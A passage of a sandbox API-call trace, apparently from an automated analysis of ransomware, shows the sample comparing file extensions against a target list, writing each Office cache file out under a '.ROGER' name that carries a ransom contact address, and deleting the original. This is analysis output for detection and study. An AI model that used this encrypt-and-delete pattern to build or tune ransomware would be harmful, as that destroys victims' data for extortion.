(lpString=".zip") returned 4 [0063.658] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.658] lstrlenW (lpString=".rar") returned 4 [0063.658] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.658] lstrlenW (lpString=".bz2") returned 4 [0063.658] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.658] lstrlenW (lpString=".7z") returned 3 [0063.658] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.658] lstrlenW (lpString=".dbf") returned 4 [0063.658] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.658] lstrlenW (lpString=".1cd") returned 4 [0063.658] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned 68 [0063.658] lstrlenW (lpString=".jpg") returned 4 [0063.658] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.659] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0063.659] lstrlenW (lpString="PJRESC.DLL") returned 10 [0063.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.659] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=261008) returned 1 [0063.659] CloseHandle (hObject=0x368) returned 1 [0063.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0063.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0063.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.660] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.660] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0063.660] GetLastError () returned 0x0 [0063.660] ReadFile (hFile=0x368, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0) Thread: id = 15 os_tid = 0xa98 [0036.989] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x32e2fb0 [0036.989] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x32f2fb8 [0036.990] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295558 [0036.990] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a22b0 [0036.990] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295570 [0036.990] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4960020 [0036.990] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295588 [0036.990] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295588, Size=0x20) returned 0x806a18 [0036.990] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295588 [0036.990] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295588, Size=0x20) returned 0x8069c8 [0036.990] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.990] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.990] Wow64DisableWow64FsRedirection (in: OldValue=0x3e7ff58 | out: OldValue=0x3e7ff58*=0x0) returned 1 [0036.990] lstrlenW (lpString="kernel32.dll") returned 12 [0036.990] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0036.990] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.990] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0036.991] Sleep (dwMilliseconds=0x64) [0037.206] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0037.206] lstrlenW (lpString="Setup.xml") returned 9 [0037.206] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.388] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=2296) returned 1 [0037.388] CloseHandle (hObject=0x364) returned 1 [0037.388] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.388] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.389] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.389] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.389] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.389] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0037.389] GetLastError () returned 0x0 [0037.389] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0037.397] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x900, lpOverlapped=0x0) returned 1 [0037.398] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.398] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.398] SetEndOfFile (hFile=0x368) returned 1 [0037.398] CloseHandle (hObject=0x368) returned 1 [0037.399] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.399] SetEndOfFile (hFile=0x364) returned 1 [0037.400] CloseHandle (hObject=0x364) returned 1 [0037.400] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0037.400] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.401] lstrlenW (lpString=".doc") returned 4 [0037.401] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString=".docx") returned 5 [0037.401] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.401] lstrlenW (lpString=".pdf") returned 4 [0037.401] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString=".xls") returned 4 [0037.401] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString=".xlsx") returned 5 [0037.401] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.401] lstrlenW (lpString=".ppt") returned 4 [0037.401] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.401] lstrlenW (lpString=".zip") returned 4 [0037.401] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.401] lstrlenW (lpString=".rar") returned 4 [0037.401] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString=".bz2") returned 4 [0037.401] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString=".7z") returned 3 [0037.401] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.401] lstrlenW (lpString=".dbf") returned 4 [0037.401] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.401] lstrlenW (lpString=".1cd") returned 4 [0037.401] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.401] lstrlenW (lpString=".jpg") returned 4 [0037.401] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.402] lstrlenW (lpString=".doc") returned 4 [0037.402] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString=".docx") returned 5 [0037.402] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.402] lstrlenW (lpString=".pdf") returned 4 [0037.402] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString=".xls") returned 4 [0037.402] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString=".xlsx") returned 5 [0037.402] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.402] lstrlenW (lpString=".ppt") returned 4 [0037.402] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.402] lstrlenW (lpString=".zip") returned 4 [0037.402] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.402] lstrlenW (lpString=".rar") returned 4 [0037.402] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString=".bz2") returned 4 [0037.402] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString=".7z") returned 3 [0037.402] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.402] lstrlenW (lpString=".dbf") returned 4 [0037.402] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.402] lstrlenW (lpString=".1cd") returned 4 [0037.402] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.402] lstrlenW (lpString=".jpg") returned 4 [0037.402] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.402] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0037.403] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0037.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.404] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1450) returned 1 [0037.404] CloseHandle (hObject=0x364) returned 1 [0037.404] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0037.404] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.404] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.404] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.404] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.404] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0037.405] GetLastError () returned 0x0 [0037.405] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0037.406] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0037.407] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.407] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0037.407] SetEndOfFile (hFile=0x368) returned 1 [0037.407] CloseHandle (hObject=0x368) returned 1 [0037.408] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.408] SetEndOfFile (hFile=0x364) returned 1 [0037.409] CloseHandle (hObject=0x364) returned 1 [0037.409] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0037.409] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0037.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.409] lstrlenW (lpString=".doc") returned 4 [0037.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.409] lstrlenW (lpString=".docx") returned 5 [0037.409] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.409] lstrlenW (lpString=".pdf") returned 4 [0037.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.409] lstrlenW (lpString=".xls") returned 4 [0037.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.409] lstrlenW (lpString=".xlsx") returned 5 [0037.409] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.409] lstrlenW (lpString=".ppt") returned 4 [0037.409] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.409] lstrlenW (lpString=".zip") returned 4 [0037.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.410] lstrlenW (lpString=".rar") returned 4 [0037.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString=".bz2") returned 4 [0037.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString=".7z") returned 3 [0037.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.410] lstrlenW (lpString=".dbf") returned 4 [0037.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.410] lstrlenW (lpString=".1cd") returned 4 [0037.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.410] lstrlenW (lpString=".jpg") returned 4 [0037.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.410] lstrlenW (lpString=".doc") returned 4 [0037.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString=".docx") returned 5 [0037.410] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.410] lstrlenW (lpString=".pdf") returned 4 [0037.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString=".xls") returned 4 [0037.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString=".xlsx") returned 5 [0037.410] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.410] lstrlenW (lpString=".ppt") returned 4 [0037.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.410] lstrlenW (lpString=".zip") returned 4 [0037.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.411] lstrlenW (lpString=".rar") returned 4 [0037.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.411] lstrlenW (lpString=".bz2") returned 4 [0037.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.411] lstrlenW (lpString=".7z") returned 3 [0037.411] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.411] lstrlenW (lpString=".dbf") returned 4 [0037.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.411] lstrlenW (lpString=".1cd") returned 4 [0037.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0037.411] lstrlenW (lpString=".jpg") returned 4 [0037.411] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.411] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0037.411] lstrlenW (lpString="Setup.xml") returned 9 [0037.411] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.411] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1608) returned 1 [0037.411] CloseHandle (hObject=0x364) returned 1 [0037.412] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.412] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.412] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.412] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0037.412] GetLastError () returned 0x0 [0037.412] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x648, lpOverlapped=0x0) returned 1 [0037.413] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x650, lpOverlapped=0x0) returned 1 [0037.414] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.414] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: 